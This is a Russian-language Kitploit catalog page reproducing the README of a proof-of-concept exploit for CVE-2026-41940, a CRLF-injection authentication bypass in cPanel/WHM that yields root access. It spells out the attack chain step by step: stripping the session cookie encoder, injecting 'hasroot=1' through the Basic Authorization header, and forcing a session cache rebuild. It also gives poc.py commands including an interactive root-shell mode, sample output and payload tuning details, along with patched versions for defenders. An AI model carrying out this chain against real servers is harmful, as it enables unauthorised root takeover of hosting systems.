Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CPANEL-CVE-2026-41940 — Доказательство концепции эксплуатации для CVE-2026-41940, критического обхода аутентификации cPanel/WHM через CRLF-инъекцию, позволяющего неавторизованный доступ с правами root и интерактивную оболочку. | Kitploit
Инструменты/GitHubGitHub/0xabdoulaye/cpanel-cve-2026-41940
Аутентификация и авторизацияАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHub0xabdoulaye/cpanel-cve-2026-41940

CPANEL-CVE-2026-41940

Доказательство концепции эксплуатации для CVE-2026-41940, критического обхода аутентификации cPanel/WHM через CRLF-инъекцию, позволяющего неавторизованный доступ с правами root и интерактивную оболочку.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
213 месяцев назадЕщё не проверено

CVE-2026-41940 — Обход аутентификации cPanel/WHM

Автор: SilySec
Оригинальное исследование: Sina Kheirkhah (@SinSinology) / watchTowr Labs
Критичность: Критическая (CVSS 9.8)
Тип: CRLF-инъекция → Обход аутентификации → root-шелл


Описание

CVE-2026-41940 — это критическая уязвимость в cPanel/WHM, которая позволяет неаутентифицированному атакующему получить полный root-доступ через CRLF-инъекцию в менеджере базовой аутентификации cpsrvd.

Уязвимость объединяет три слабости:

  1. Нефильтруемая CRLF-инъекция — функция saveSession() в Cpanel/Session.pm не очищает символы \r\n перед записью на диск, когда ключ <ob> отсутствует в cookie.
  2. Отключённый кодировщик — без сегмента <obHEX> в cookie сессии кодировщик сессии не активируется, оставляя байты CRLF записанными в открытом виде в файле сессии.
  3. Перезагрузка кэша — Cpanel::Session::Modify::save() повторно считывает необработанный файл и повышает внедрённые CRLF-ключи в JSON-кэше, делая сессию полностью аутентифицированной.

Затронутые версии


Цепочка эксплуатации

root@kitploit:~
POST /login/?login_only=1          [неверный пароль]
  └─► cookie: whostmgrsession=:ID,<obHEX>

Удалить ,<obHEX>  →  :ID          [отключает кодировщик]

GET / + Cookie: :ID
      + Authorization: Basic root:x\r\nhasroot=1\r\n...
  └─► cpsrvd записывает необработанные байты CRLF в файл сессии

GET /scripts2/listaccts + Cookie: :ID   [без токена безопасности]
  └─► do_token_denied() → Cpanel::Session::Modify::save()
  └─► JSON-кэш перестраивается с hasroot=1, tfa_verified=1

→ Сессия аутентифицирована как root

Использование

Предварительные требования

root@kitploit:~
pip install requests
# Для режима --terminal (опционально):
pip install paramiko

Проверка уязвимости

root@kitploit:~
python3 poc.py --target https://ЦЕЛЬ:2087

Получение интерактивного root-шелла

root@kitploit:~
python3 poc.py --target https://ЦЕЛЬ:2087 --terminal

Принудительное использование канонического hostname

root@kitploit:~
python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.example.com

Пример вывода

root@kitploit:~
[*] target   : https://1.2.3.4:2087
[*] canonical: cpanel.example.com

[1/4] minting preauth session ...
       session  = :AbCdEfGh...,0123456789abcdef
       stripped = :AbCdEfGh...

[2/4] injecting CRLF payload ...
       307 → leaked token = /cpsess1234567890

[3/4] triggering cache propagation ...
       do_token_denied → Cpanel::Session::Modify::save() fired

[4/4] verifying root access ...

  ✔  AUTH BYPASS CONFIRMED
     cPanel version : 11.136.0.5
     cookie         : whostmgrsession=%3AAbCdEfGh...
     WHM URL        : https://1.2.3.4:2087/cpsess1234567890/

Важные технические моменты

  • Канонический hostname должен использоваться в заголовке Host (не IP) — cpsrvd обрабатывает сессии по-разному в зависимости от hostname
  • Временная метка в payload должна быть 9999999999 (фиксированная, далёкое будущее) — текущая временная метка приводит к ошибке
  • Порядок ключей во внедрённом payload важен: successful_internal_auth_with_timestamp должен идти первым

Исправление

Патч перемещает вызов filter_sessiondata() внутрь saveSession() и добавляет условное кодирование при отсутствии ключа <ob>, предотвращая запись в открытом виде.

Немедленно обновите cPanel/WHM до исправленных версий, перечисленных выше.


Предупреждение

Этот инструмент предоставлен исключительно для исследовательских целей и внутреннего тестирования. Любое использование на системах без явного разрешения незаконно. SilySec не несёт ответственности за неправомерное использование.

Скачать инструмент
ВеткаПоследняя уязвимая версияИсправленная версия
110.0.x11.110.0.9611.110.0.97
118.0.x11.118.0.6211.118.0.63
126.0.x11.126.0.5311.126.0.54
132.0.x11.132.0.2811.132.0.29
134.0.x11.134.0.1911.134.0.20
136.0.x11.136.0.511.136.0.6